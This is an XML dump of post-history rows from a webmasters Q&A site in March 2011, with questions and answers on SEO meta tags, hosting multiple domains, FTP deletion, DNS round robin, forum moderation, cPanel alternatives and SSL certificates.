  <row Id="24531" PostHistoryTypeId="2" PostId="10916" RevisionGUID="b9609cca-4572-43d3-889f-3bb2724db530" CreationDate="2011-03-19T13:01:54.283" UserId="1253" Text="If the content placed in your meta tags are then placed inside the page content, that is they are visible to the user, then they have SEO value as any page content has value. This won't hurt you since meta information is not only ignored for ranking purposes but since meta information is supposed to summarize what's on the page by definition they should be very related and very possibly identical. Page title and h1 tags are very often the same since both are used to tell a user what the page is about. So, yo answer your question directly, this is very common and perfectly fine to do." />
  <row Id="24533" PostHistoryTypeId="6" PostId="10911" RevisionGUID="8cbfa863-ab90-42ad-8360-58066ff42510" CreationDate="2011-03-19T13:09:57.610" UserId="1253" Comment="added &quot;bind&quot; tag" Text="&lt;dns&gt;&lt;linux&gt;&lt;bind&gt;" />
  <row Id="24534" PostHistoryTypeId="5" PostId="10866" RevisionGUID="f6ded064-95f4-490a-8a87-794be022d5b9" CreationDate="2011-03-19T13:10:56.143" UserId="1253" Comment="added 22 characters in body" Text="[IE Tester][1] It does IE6, 7, 8 &amp; 9&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="24535" PostHistoryTypeId="2" PostId="10917" RevisionGUID="7f4cf80b-6247-4f67-befb-591d58be90a9" CreationDate="2011-03-19T13:13:46.563" UserId="108" Text="There are a couple of things to take into account:&#xD;&#xA;&#xD;&#xA; 1. There is no issue with using the&#xD;&#xA;    same phrase/sentence in your title&#xD;&#xA;    and H1 tags.  It just doubles up the&#xD;&#xA;    SEO values you are trying to push. &#xD;&#xA;    You can sometimes do a better SEO&#xD;&#xA;    job by making them different but it&#xD;&#xA;    depends on the situation.&#xD;&#xA; 2. As for Meta Keywords and Meta Description, John Conde is right on.  They have no SEO value but they do have value in for other things like SERPs and secondary bots.  So it is good to have them.  And duplicating content in you Meta Description and an H2 tag has no negative effect and will be positive because at least your H2 has should have good SEO value.&#xD;&#xA; 3. Google is not concerned about duplication across tags like in your example.  They concerned with people tag stuff and with information repetition.  So if your list had 4 items and they were identical to each other then Google might look at it negatively but that is not at all the case.  &#xD;&#xA;&#xD;&#xA;Overall, what you are suggesting in your example is probably the best starting point for doing SEO on your page. I personally have set my tags up similar to this many times. Over time you will probably tweak the page away from that but only to make the SEO even better.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA; 1. enter code here" />
  <row Id="24539" PostHistoryTypeId="5" PostId="10916" RevisionGUID="af9d60ce-55ef-4395-8bcc-af0b0bf45ab1" CreationDate="2011-03-19T13:20:28.567" UserId="1253" Comment="added 421 characters in body" Text="Meta keywords tag is not used when ranking websites and has no SEO value at all. But you should still use them as other bots (i.e. directory crawlers) may use them to help classify and list your website.&#xD;&#xA;&#xD;&#xA;Meta description tag is not used when ranking websites but still has some SEO value as Google may use it when displaying your page's listing in their search results. Other bots may use it for the same purposes.&#xD;&#xA;&#xD;&#xA;If the content placed in your meta tags are then placed inside the page content, that is they are visible to the user, then they have SEO value as any page content has value. This won't hurt you since meta information is not only ignored for ranking purposes but since meta information is supposed to summarize what's on the page by definition they should be very related and very possibly identical. Page title and h1 tags are very often the same since both are used to tell a user what the page is about. So, yo answer your question directly, this is very common and perfectly fine to do." />
  <row Id="24540" PostHistoryTypeId="2" PostId="10918" RevisionGUID="4fc24391-da66-4704-9cd0-210e5b0ca5b1" CreationDate="2011-03-19T13:22:32.183" UserId="4322" Text="The meta tags for *description* and *keywords* have no SEO value with regard to enhancing keywords.&#xD;&#xA;&#xD;&#xA;The only tag you mention that has influence is the title tag. (It's not a meta tag, the clue is that meta tags are tags with the name &quot;meta&quot;).&#xD;&#xA;&#xD;&#xA;Google does still seem to let the title tag influence keywords for a page, and it will be re-enforced if the same or similar text is present on the visible page.&#xD;&#xA;&#xD;&#xA;The description meta tag is useful for trying to control SERP snippets. Having it match content and search keywords can make it show up more/better. &#xD;&#xA;&#xD;&#xA;The keyword meta tag has no value with Google. Other search engines may use it though." />
  <row Id="24541" PostHistoryTypeId="2" PostId="10919" RevisionGUID="070cc18e-190f-4681-8fa7-5d2c5359314f" CreationDate="2011-03-19T04:41:59.730" UserDisplayName="gayancc" Text="I have godaddy deluxe plan and here is my problem:&#xD;&#xA;&#xD;&#xA;I have two domains for example: `e1.com` and `e2.com`. Both are hosted in same hosting plan. First I created a folder for each domain in the root folder and uploaded two web site but when I'm trying to run my sites, the URL for e1 always shows `http://e1.com/e1/` and for e2 it shows `http://e2.com/e2`. Can I avoid showing e1 and e2 folder and only show `http://e1.com` and `http://e2.com`? &#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="24542" PostHistoryTypeId="1" PostId="10919" RevisionGUID="070cc18e-190f-4681-8fa7-5d2c5359314f" CreationDate="2011-03-19T04:41:59.730" UserDisplayName="gayancc" Text="Godaddy multiple domain problem" />
  <row Id="24543" PostHistoryTypeId="3" PostId="10919" RevisionGUID="070cc18e-190f-4681-8fa7-5d2c5359314f" CreationDate="2011-03-19T04:41:59.730" UserDisplayName="gayancc" Text="&lt;web-hosting&gt;&lt;godaddy&gt;" />
  <row Id="24544" PostHistoryTypeId="17" PostId="10919" RevisionGUID="63303aab-da52-4d63-84f6-6dcd1604b38a" CreationDate="2011-03-19T13:30:56.747" UserId="-1" Comment="from http://stackoverflow.com/questions/5360131/godaddy-multiple-domain-problem" Text="" />
  <row Id="24545" PostHistoryTypeId="2" PostId="10920" RevisionGUID="76505321-9840-469b-b308-18915cb663cd" CreationDate="2011-03-19T14:09:18.917" UserId="4142" Text="Another option would be the [Lifetype][1] blogging platform, which accommodates multiple blogs and users.&#xD;&#xA;&#xD;&#xA;I'm not sure if it has many CMS capabilities, but it handles multiple blogs and bloggers by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lifetype.net/" />
  <row Id="24546" PostHistoryTypeId="5" PostId="10917" RevisionGUID="f672f580-7d06-4809-93de-f109150be340" CreationDate="2011-03-19T14:25:06.157" UserId="108" Comment="added 8 characters in body" Text="There are a couple of things to take into account:&#xD;&#xA;&#xD;&#xA; 1. There is no issue with using the&#xD;&#xA;    same phrase/sentence in your title&#xD;&#xA;    and H1 tags.  It just doubles up the&#xD;&#xA;    SEO values you are trying to push. &#xD;&#xA;    You can sometimes do a better SEO&#xD;&#xA;    job by making them different but it&#xD;&#xA;    depends on the situation.&#xD;&#xA; 2. As for Meta Keywords and Meta Description, John Conde is right on.  They have no SEO value but they do have value in for other things like SERPs and secondary bots.  So it is good to have them.  And duplicating content in you Meta Description and an H2 tag has no negative effect and will be positive because at least your H2 has should have good SEO value.&#xD;&#xA; 3. Google is not concerned about duplication across tags like in your example.  They are concerned with sites that tag stuff and with information repetition.  So if your list had 4 items and they were identical to each other then Google might look at it negatively but that is not at all the case.  &#xD;&#xA;&#xD;&#xA;Overall, what you are suggesting in your example is probably the best starting point for doing SEO on your page. I personally have set my tags up similar to this many times. Over time you will probably tweak the page away from that but only to make the SEO even better.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA; 1. enter code here" />
  <row Id="24547" PostHistoryTypeId="18" PostId="10919" RevisionGUID="7bbe812a-85d6-4960-a70d-bcbdf1ae5a01" CreationDate="2011-03-19T14:26:16.237" UserId="108" Comment="to http://webmasters.stackexchange.com/questions/10888/godaddy-multiple-domain-problem" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="24548" PostHistoryTypeId="18" PostId="10888" RevisionGUID="7bbe812a-85d6-4960-a70d-bcbdf1ae5a01" CreationDate="2011-03-19T14:26:16.237" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/10919/godaddy-multiple-domain-problem" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="24549" PostHistoryTypeId="14" PostId="10919" RevisionGUID="9c494db8-838b-467f-bc38-98dc418b3380" CreationDate="2011-03-19T14:26:16.500" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="24550" PostHistoryTypeId="2" PostId="10921" RevisionGUID="4442b85a-c9c4-4cf8-ade2-42953ba06c20" CreationDate="2011-03-19T14:27:20.197" UserId="6188" Text="At the moment I'm using FileZilla to FTP to my website.  Sometimes, I want to delete a large directory, full of lots of other sub-directories and files.  Filezilla seems to go through them all individually, which means it takes an absolute age to delete!&#xD;&#xA;&#xD;&#xA;Is there any way of doing it quickly/er??&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="24551" PostHistoryTypeId="1" PostId="10921" RevisionGUID="4442b85a-c9c4-4cf8-ade2-42953ba06c20" CreationDate="2011-03-19T14:27:20.197" UserId="6188" Text="Quickly deleting lots of files using FTP?" />
  <row Id="24552" PostHistoryTypeId="3" PostId="10921" RevisionGUID="4442b85a-c9c4-4cf8-ade2-42953ba06c20" CreationDate="2011-03-19T14:27:20.197" UserId="6188" Text="&lt;ftp&gt;" />
  <row Id="24553" PostHistoryTypeId="25" PostId="10915" RevisionGUID="11971f6a-b587-484b-9fc4-76467befac34" CreationDate="2011-03-19T14:30:24.960" Comment="http://twitter.com/#!/StackWebmasters/status/49115509337235458" />
  <row Id="24554" PostHistoryTypeId="2" PostId="10922" RevisionGUID="82fd8ea0-9a04-4fc3-87c8-55519492d0d9" CreationDate="2011-03-19T14:49:01.137" UserId="5718" Text="I believe that FTP doesn't actually have a recursive delete operation. The options I can think of are as follows:&#xD;&#xA;&#xD;&#xA;1. Use the `ncftp` program. This is another FTP program with additional options. However, I think it just works on the command line and doesn't have a GUI.&#xD;&#xA;2. If you have `SSH` access to the server then use that instead of FTP and use the `rm -r` command.&#xD;&#xA;3. Write a PHP or other script to do the deletion for you.&#xD;&#xA;" />
  <row Id="24555" PostHistoryTypeId="2" PostId="10923" RevisionGUID="33a44879-4f16-4e95-9412-bb8735653b8a" CreationDate="2011-03-19T17:02:47.257" UserId="6191" Text="I previously answered a similar question on SO: &#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/4387151/how-to-delete-folders-with-wildcard-via-cmd-ftp-windows-server-2008/4445705#4445705&#xD;&#xA;&#xD;&#xA;Long story short:&#xD;&#xA;You can also remove a directory and all of it's parents with the -p switch [using rmdir].&#xD;&#xA;The -r switch though recursively removes directories given in the arguments path:&#xD;&#xA;&#xD;&#xA;http://www.computerhope.com/unix/urm.htm&#xD;&#xA;" />
  <row Id="24556" PostHistoryTypeId="25" PostId="10921" RevisionGUID="bb5c6d1a-15a0-4f42-88ba-c1cc7f1ff2b7" CreationDate="2011-03-19T17:30:24.837" Comment="http://twitter.com/#!/StackWebmasters/status/49160807874969600" />
  <row Id="24560" PostHistoryTypeId="2" PostId="10925" RevisionGUID="bcd2602e-f5fa-4d03-aae2-1a68d3ff527b" CreationDate="2011-03-19T19:23:09.517" UserId="1064" Text="This will ultimately be an issue for your script provider to debug, (would recommend you contact them directly) unless you have implemented any customizations to their scripts or the Google Analytics tracking code.&#xD;&#xA;&#xD;&#xA;Look for:&#xD;&#xA;&#xD;&#xA;* Scripting errors which prevent the analysis of cookies after they are set&#xD;&#xA;* Variables in the Janrain script which conflict with [Google Analytics variables][1] (particularly variables named `utm` or `_gaq`)&#xD;&#xA;* Extensive use of cookies for storage which may overflow the [allowed cookie size][2] (and flush out the cookies set by Google Analytics)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingTroubleshooting.html&#xD;&#xA;  [2]: http://stackoverflow.com/questions/4083291/what-is-the-number-and-size-of-cookies-allowed-by-major-browsers" />
  <row Id="24561" PostHistoryTypeId="25" PostId="10905" RevisionGUID="953157b6-14f3-45d2-ae1a-50f2fe93ea3b" CreationDate="2011-03-19T20:30:24.947" Comment="http://twitter.com/#!/StackWebmasters/status/49206107675164673" />
  <row Id="24562" PostHistoryTypeId="2" PostId="10926" RevisionGUID="2131d9e3-7781-4dd3-a9d7-da3788fe081d" CreationDate="2011-03-19T21:14:25.443" UserId="4787" Text="Just know that all the responses you get here (other than one from someone at Google who knows their entire indexing code base) will be guesswork and hearsay. I moved a site from www.domain.com to domain.com and made the latter the canonical domain and it definitely hurt our ranking a bit. The &quot;www&quot; address had a PR=5 and 2 years (and much growth) later the non-www version is still PR=4. It also took GWT months to rationalize all the information across the two domains.&#xD;&#xA;&#xD;&#xA;Having had this experience, my approach in your situation would be conservative. Unless there is an extremely compelling reason to have everything under .com, I wouldn't disturb the .co.uk domain." />
  <row Id="24563" PostHistoryTypeId="2" PostId="10927" RevisionGUID="5722c0a8-0ffd-4ae0-a4e0-ea28c60261ec" CreationDate="2011-03-19T21:58:02.687" UserId="706" Text="If I add multiple A-records for my domain, they are returned in a round robin order by DNS-servers.&#xD;&#xA;&#xD;&#xA;E.g:&#xD;&#xA;&#xD;&#xA;    1.1.1.1 A example.com&#xD;&#xA;    1.1.1.2 A example.com&#xD;&#xA;    1.1.1.3 A example.com&#xD;&#xA;&#xD;&#xA;But how does webbrowsers react if the first host (1.1.1.1) is down (unreachable)? do they try the second host (1.1.1.2) or do they return a error message to the user? Are there any difference between the most popular browsers?&#xD;&#xA;&#xD;&#xA;If I implement my own application, I can implement so that the second is used in case the first is down, so it's possible. And this would be very helpful to create a fault tolerant website." />
  <row Id="24564" PostHistoryTypeId="1" PostId="10927" RevisionGUID="5722c0a8-0ffd-4ae0-a4e0-ea28c60261ec" CreationDate="2011-03-19T21:58:02.687" UserId="706" Text="Using multiple A-records for my domain - do web browsers ever try more than one?" />
  <row Id="24565" PostHistoryTypeId="3" PostId="10927" RevisionGUID="5722c0a8-0ffd-4ae0-a4e0-ea28c60261ec" CreationDate="2011-03-19T21:58:02.687" UserId="706" Text="&lt;dns&gt;&lt;browsers&gt;" />
  <row Id="24566" PostHistoryTypeId="2" PostId="10928" RevisionGUID="84b7f47a-92f5-4225-b4d2-dc13f77beeca" CreationDate="2011-03-19T23:24:46.150" UserId="5117" Text="This is basic DNS load balancing distribution technique: DNS Round Robin. &#xD;&#xA;&#xD;&#xA;This has nothing to do with browser, it depends on the implementation of the resolver , and the local/remote cache of the DNS address.&#xD;&#xA;&#xD;&#xA;Changes are that if a server fail, due to caching in the DNS layer your website may be inaccessibile.&#xD;&#xA;&#xD;&#xA;See here for a basic explaination: http://en.wikipedia.org/wiki/Round-robin_DNS" />
  <row Id="24567" PostHistoryTypeId="25" PostId="10927" RevisionGUID="6d8c2e2b-7b4c-4076-9cd8-49afad26f4b7" CreationDate="2011-03-19T23:30:24.627" Comment="http://twitter.com/#!/StackWebmasters/status/49251404581322752" />
  <row Id="24568" PostHistoryTypeId="17" PostId="10930" RevisionGUID="57c224a8-3e14-4458-a7cc-77456baa0335" CreationDate="2011-03-20T00:09:50.083" UserId="-1" Comment="from http://ui.stackexchange.com/questions/4142/will-a-forum-work-without-moderators/4143#4143" Text="" />
  <row Id="24569" PostHistoryTypeId="17" PostId="10931" RevisionGUID="85e46ab2-05f1-450d-a77f-82764c88775b" CreationDate="2011-03-20T00:09:50.083" UserId="-1" Comment="from http://ui.stackexchange.com/questions/4142/will-a-forum-work-without-moderators/4145#4145" Text="" />
  <row Id="24570" PostHistoryTypeId="17" PostId="10932" RevisionGUID="45a15250-c56c-4b9b-a69d-ac2fc4e47d76" CreationDate="2011-03-20T00:09:50.083" UserId="-1" Comment="from http://ui.stackexchange.com/questions/4142/will-a-forum-work-without-moderators/4149#4149" Text="" />
  <row Id="24571" PostHistoryTypeId="17" PostId="10933" RevisionGUID="b24333bf-cbb9-46f3-b00a-184ac380d958" CreationDate="2011-03-20T00:09:50.083" UserId="-1" Comment="from http://ui.stackexchange.com/questions/4142/will-a-forum-work-without-moderators/4157#4157" Text="" />
  <row Id="24572" PostHistoryTypeId="17" PostId="10934" RevisionGUID="ae047b88-9868-4351-a5b6-6879c8ba518b" CreationDate="2011-03-20T00:09:50.083" UserId="-1" Comment="from http://ui.stackexchange.com/questions/4142/will-a-forum-work-without-moderators/4158#4158" Text="" />
  <row Id="24573" PostHistoryTypeId="2" PostId="10930" RevisionGUID="fb4c21f0-5421-4e17-82fd-16fd87bc6ab3" CreationDate="2011-03-18T01:41:59.860" UserId="2224" Text="Depends on your definition of &quot;working&quot;. Yes, you will get traffic. Yes, it will be chaos. If you don't care about the chaos, then it can work. Otherwise, you are going to run into trouble really quickly.&#xD;&#xA;&#xD;&#xA;An even bigger problem is if you do allow the chaos for a while and try to reign it in later. When I worked for Reader's Digest, we had a very active forum for Taste of Home magazine (a cooking/recipe magazine) that had never been moderated in any way whatsoever. We redesigned the site, integrating the forum into the site more and they tried to bring in some full-time moderation. There was huge brush-back from the community, and it pretty much seems like they've mostly given up on moderation except for in the most offensive cases. You can go there to see the result. It isn't pretty. And this is a forum where the average user is a 50 year old woman. Imagine what would happen with a less subdued audience." />
  <row Id="24574" PostHistoryTypeId="2" PostId="10931" RevisionGUID="44742600-3b5f-4bb0-b1a0-8b4fe92a1ea8" CreationDate="2011-03-18T04:33:28.810" UserDisplayName="jameswanless" Text="I've managed several communities in the past and I would have to say that it's pretty hard to have a community without moderation.  You didn't say what kind of site/forum you're starting.  If it's a young demographic with what are likely to be lively debates and opinions, you'll likely need some moderation.&#xD;&#xA;&#xD;&#xA;The two largest communities right now (which, granted, are not forums) on the web are Twitter and Facebook.  Each has a moderation model of sorts.  Facebook is very tightly controlled due to the myriad ways in which you can communicate and thus potentially offend.  Twitter has a simpler communication model and less moderation but users can still be blocked and voted for spam, combining system moderators and user moderation.&#xD;&#xA;&#xD;&#xA;Even in loosely moderated or systems where no moderation is apparent, often something is still happening in the background.  4chan comes to mind as a complete free-for-all and it's a gong show, which in that case, is what its users are generally looking for." />
  <row Id="24575" PostHistoryTypeId="2" PostId="10932" RevisionGUID="43a8ae7f-4603-4e49-8bce-4670b34cb737" CreationDate="2011-03-18T08:33:02.437" UserDisplayName="Roland Pokornyik" Text="I would try to encourage users to get involved in the moderating. Just like here on stackexchange! &#xD;&#xA;Your users could get badges, and your loyal users may become moderators in the long run (they can mark comments as spam - like on youtube).&#xD;&#xA;&#xD;&#xA;**Since we are in a web2.0 would I would try to involve the loyal users of the community in the moderation process!** &#xD;&#xA;&#xD;&#xA;But lot depends on the topic, and your target group!" />
  <row Id="24576" PostHistoryTypeId="2" PostId="10933" RevisionGUID="9086d2ef-59c5-48b4-93d9-6ce4acd8790e" CreationDate="2011-03-18T11:46:06.890" UserId="288" Text="I agree with the other answers - without *some* form of moderation you will have chaos.&#xD;&#xA;&#xD;&#xA;By having a &quot;flag post for attention&quot; button you can automate the process somewhat. If the post receives &quot;N&quot; flags in total or &quot;M&quot; flags over a given time period then it gets deleted.&#xD;&#xA;&#xD;&#xA;However, what you will need is to limit flags to one per user and that requires have registered users so you can store their flag status in the database. You can't use cookies as a) users can clear cookies or b) log in from a different machine and vote twice.&#xD;&#xA;&#xD;&#xA;There will be cases where you want to remove content immediately so you **will** need a human being (or three) monitoring the flags." />
  <row Id="24577" PostHistoryTypeId="2" PostId="10934" RevisionGUID="ee1e12db-8a89-4120-a6d1-95be482fd512" CreationDate="2011-03-18T12:52:30.553" UserDisplayName="peterchen" Text="**Expect Moderation will be necessary.**  &#xD;&#xA;&#xD;&#xA;* Self-moderation *won't* work:&#xD;&#xA;&#xD;&#xA; * without a minimum user base / activity&#xD;&#xA; * on long-past and other rarely visited parts of the forum  &#xD;&#xA;    &#xD;&#xA;   Example: a great old post with lots of external links gets good traffic but is rarely visited by site members that could moderate it - a wonderful target for a spammer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* The &quot;Spam&quot; - Button will get abused by gangs and sockpuppets, frustrating legitimate users. &#xD;&#xA;&#xD;&#xA;* Without a human making a call what to keep and what to remove, you can get into legal trouble.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In high traffic forums there are often regulars that are willing to work as moderators. In low-traffic forums, you can easily mod alone, with someone to stand in when you are e.g. on vacation. Mid-traffic forums are probably the biggest problem: the community can detect spam, but it still needs to be reviewed.&#xD;&#xA;&#xD;&#xA;(Regulars with Mod Powers are not problem-free either: often they don't understand that it changes their role completely: what once was a quirky opinion of theirs becomes a precedent for imbalanced treatment of issues)" />
  <row Id="24578" PostHistoryTypeId="2" PostId="10929" RevisionGUID="3fb0da91-322e-402c-83f5-70c4cd7ebcea" CreationDate="2011-03-18T00:39:50.827" UserId="5304" Text="I'm starting a forum site. Right now, its only me, so I won't have moderators.&#xD;&#xA;Will this be a chaos or it will work anyway?&#xD;&#xA;&#xD;&#xA;(My site is a discussion forum focused on a country).&#xD;&#xA;&#xD;&#xA;**EDIT (will this spam button and rating thumbs be enough for now?):**&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/bfFSK.png" />
  <row Id="24579" PostHistoryTypeId="1" PostId="10929" RevisionGUID="3fb0da91-322e-402c-83f5-70c4cd7ebcea" CreationDate="2011-03-18T00:39:50.827" UserId="5304" Text="Will a forum work without moderators?" />
  <row Id="24580" PostHistoryTypeId="3" PostId="10929" RevisionGUID="3fb0da91-322e-402c-83f5-70c4cd7ebcea" CreationDate="2011-03-18T00:39:50.827" UserId="5304" Text="&lt;forum&gt;&lt;sites&gt;" />
  <row Id="24581" PostHistoryTypeId="17" PostId="10929" RevisionGUID="21da782c-9878-44dd-83fc-3224a3787085" CreationDate="2011-03-20T00:09:50.083" UserId="-1" Comment="from http://ui.stackexchange.com/questions/4142/will-a-forum-work-without-moderators" Text="" />
  <row Id="24582" PostHistoryTypeId="2" PostId="10935" RevisionGUID="e46190f1-185b-47b8-a805-c527aad84c6a" CreationDate="2011-03-20T01:37:50.227" UserId="6191" Text="The OS determines what IP to use, not the browser. Windows will round robin the returned list (in the list passed back from DNS), though will continue to use the same address until DNS is flushed or times out. *ix implementations depend partially on the bundled tcp stack implementation but typically follow a round robin method as well." />
  <row Id="24584" PostHistoryTypeId="2" PostId="10936" RevisionGUID="8a7aeba3-f6bf-4a0c-95b0-50f12804ed11" CreationDate="2011-03-20T02:41:11.480" UserDisplayName="marwan" Text="I booked a domain name for my website from a hosting provider .I gave the domain name , along with ftp details to a freelancer to develop the site in wordpress . the freelancer developped and he got full payment , and the site and site was working fine ,etc ..&#xD;&#xA;  From that time , I did not change the admin logging as well as ftp details , this means that such info is still known to the freelancer ..&#xD;&#xA;  A week ago , I found that some links in my site was not working .. I sent him a mail about this , and he said that he will fix it if i give him ftp details . and I did so , next I found that the entire site is gone . then he sent me a mail , without I asked him , and he he said that there have been someone who got access to my server , and he removed all files of my site and he installed drupal instead .and that he can rebuild the site in one day , by charging a full fee of 250 usd again ..&#xD;&#xA;  Can anyone know what I can do in this situation , to find who did such act , could it be the host provider or that freelancer ,, and if there is a possibility to have my site back top the server ..&#xD;&#xA; I will appreciate any info on this..&#xD;&#xA;Regards ,&#xD;&#xA;Thanks" />
  <row Id="24585" PostHistoryTypeId="1" PostId="10936" RevisionGUID="8a7aeba3-f6bf-4a0c-95b0-50f12804ed11" CreationDate="2011-03-20T02:41:11.480" UserDisplayName="marwan" Text="My site has crashed .. anyone have some info ?" />
  <row Id="24586" PostHistoryTypeId="3" PostId="10936" RevisionGUID="8a7aeba3-f6bf-4a0c-95b0-50f12804ed11" CreationDate="2011-03-20T02:41:11.480" UserDisplayName="marwan" Text="&lt;ftp&gt;" />
  <row Id="24587" PostHistoryTypeId="17" PostId="10936" RevisionGUID="2a2fa1a3-02a0-46a6-9264-3fecffbe68ad" CreationDate="2011-03-20T02:42:38.020" UserId="-1" Comment="from http://superuser.com/questions/259823/my-site-has-crashed-anyone-have-some-info" Text="" />
  <row Id="24589" PostHistoryTypeId="2" PostId="10937" RevisionGUID="fb76d93c-617c-4ea3-ac4e-42cdbc7d32bf" CreationDate="2011-03-20T03:02:55.347" UserId="6198" Text="hey first, go and change your ftp username and password and all other passwords like the domain admin ones and the hosting account ones. then delete any existing databases. and then check for backups if any available on your server. if its there, take it down but don't install it cause the freelancer will again have access to your wordpress admin. install wordpress on your hosting. go to wordpress.org to know more about how to install and to download. then if you have backups, import your themes and plugins. and if you don't have and cannot make the site on your own, please don't go back to that same freelancer. cause again he'll do this. find someone else, more reliable, it'll be good if he's your friend or something. then make a new ftp account on your hosting, and give those credentials to him not your admin ones. copy whatever he makes to a new folder and afterwards download it for backups. it'll be best if you can make the site on your own. please dont trust anyone with your site, cause thats one of your main identities. but first change your passwords." />
  <row Id="24590" PostHistoryTypeId="2" PostId="10938" RevisionGUID="8b521e9b-fb17-4069-b106-2eab2268e68a" CreationDate="2011-03-20T03:06:37.213" UserId="6198" Text="you can go to godaddy hosting connection, the place from where you'll install those modules after you buy the hosting. you can still browse or if you cant then just make a free account and dont buy anything. then you'll be able to check whats there and whats not there..." />
  <row Id="24592" PostHistoryTypeId="25" PostId="10936" RevisionGUID="be1191bb-a688-4ff9-8795-1bf67f56682f" CreationDate="2011-03-20T05:30:24.973" Comment="http://twitter.com/#!/StackWebmasters/status/49342003225444352" />
  <row Id="24593" PostHistoryTypeId="17" PostId="10940" RevisionGUID="ef05fc4e-68cf-412e-96be-533e5ee7e3ce" CreationDate="2011-03-20T07:32:35.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5363247/alternative-to-cpanel/5363274#5363274" Text="" />
  <row Id="24594" PostHistoryTypeId="2" PostId="10940" RevisionGUID="295e49f7-8ee6-41b0-a5dd-e395dad2b20a" CreationDate="2011-03-19T16:23:56.893" UserDisplayName="Aif" Text="You can also look [ispconfig][1], [alternC][2] or [webmin][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ispconfig.org/&#xD;&#xA;  [2]: http://www.alternc.org/&#xD;&#xA;  [3]: http://www.webmin.com/" />
  <row Id="24595" PostHistoryTypeId="2" PostId="10939" RevisionGUID="697c585a-5172-4598-8b2e-9aa03d56b6f3" CreationDate="2011-03-19T16:19:49.720" UserDisplayName="Newton" Text="I want to develop software and host it on a website. I am considering purchasing a VPS from Linode to store the source code; however it does not provide CPanel (what I used to configure my webspace on shared hosts when building websites). &#xD;&#xA;&#xD;&#xA;Is there an alternative to CPanel or would it be worth hosting the website for the product on a shared host that provides CPanel?" />
  <row Id="24596" PostHistoryTypeId="1" PostId="10939" RevisionGUID="697c585a-5172-4598-8b2e-9aa03d56b6f3" CreationDate="2011-03-19T16:19:49.720" UserDisplayName="Newton" Text="Alternative to CPanel" />
  <row Id="24597" PostHistoryTypeId="3" PostId="10939" RevisionGUID="697c585a-5172-4598-8b2e-9aa03d56b6f3" CreationDate="2011-03-19T16:19:49.720" UserDisplayName="Newton" Text="&lt;web&gt;&lt;cpanel&gt;&lt;vps&gt;" />
  <row Id="24598" PostHistoryTypeId="17" PostId="10939" RevisionGUID="52c8f417-c12f-44c4-8a08-93c02a916e2b" CreationDate="2011-03-20T07:32:35.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5363247/alternative-to-cpanel" Text="" />
  <row Id="24599" PostHistoryTypeId="2" PostId="10941" RevisionGUID="027690fc-5fc9-4831-b9d7-d3bfbaf2025b" CreationDate="2011-03-20T08:18:00.367" UserId="3486" Text="The subscriptions method only allows at least 2 billing cycles. What's the best alternative method I should use?" />
  <row Id="24600" PostHistoryTypeId="1" PostId="10941" RevisionGUID="027690fc-5fc9-4831-b9d7-d3bfbaf2025b" CreationDate="2011-03-20T08:18:00.367" UserId="3486" Text="Single billing cylce for paypal subscription?" />
  <row Id="24601" PostHistoryTypeId="3" PostId="10941" RevisionGUID="027690fc-5fc9-4831-b9d7-d3bfbaf2025b" CreationDate="2011-03-20T08:18:00.367" UserId="3486" Text="&lt;paypal&gt;" />
  <row Id="24602" PostHistoryTypeId="25" PostId="10929" RevisionGUID="da6f3ec0-0774-4109-8af8-b5f5da69bd73" CreationDate="2011-03-20T08:30:24.927" Comment="http://twitter.com/#!/StackWebmasters/status/49387300232249344" />
  <row Id="24605" PostHistoryTypeId="17" PostId="10943" RevisionGUID="1d3a9f3e-102f-4cf6-acbb-aea4cc447098" CreationDate="2011-03-20T09:41:48.890" UserId="-1" Comment="from http://stackoverflow.com/questions/4223406/need-an-ev-ssl-certificate/4245576#4245576" Text="" />
  <row Id="24606" PostHistoryTypeId="2" PostId="10943" RevisionGUID="96964e41-61c1-46d2-a217-97c4bd600d60" CreationDate="2010-11-22T12:52:57.583" UserDisplayName="OliviaSSLGuru" Text="You can check below websites, they do frequent promotions&#xD;&#xA;www.rapidsslonline.com, www.thesslstore.com, www.secure128.com, www.trustwave.com and www.comodo.com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24607" PostHistoryTypeId="2" PostId="10942" RevisionGUID="497979a3-6480-41ea-ad5f-45039c0d34b6" CreationDate="2010-11-19T08:57:03.623" UserDisplayName="brianflhome" Text="I desperately needed EV ssl certificate for one of my client urgently. Do you know any SSL provider who is providing low price then regular? Please let me know, so I can save some of my dollars.&#xD;&#xA;Thanks in advance. " />
  <row Id="24608" PostHistoryTypeId="1" PostId="10942" RevisionGUID="497979a3-6480-41ea-ad5f-45039c0d34b6" CreationDate="2010-11-19T08:57:03.623" UserDisplayName="brianflhome" Text="Need an EV SSL certificate" />
  <row Id="24609" PostHistoryTypeId="3" PostId="10942" RevisionGUID="497979a3-6480-41ea-ad5f-45039c0d34b6" CreationDate="2010-11-19T08:57:03.623" UserDisplayName="brianflhome" Text="&lt;ssl-certificate&gt;" />
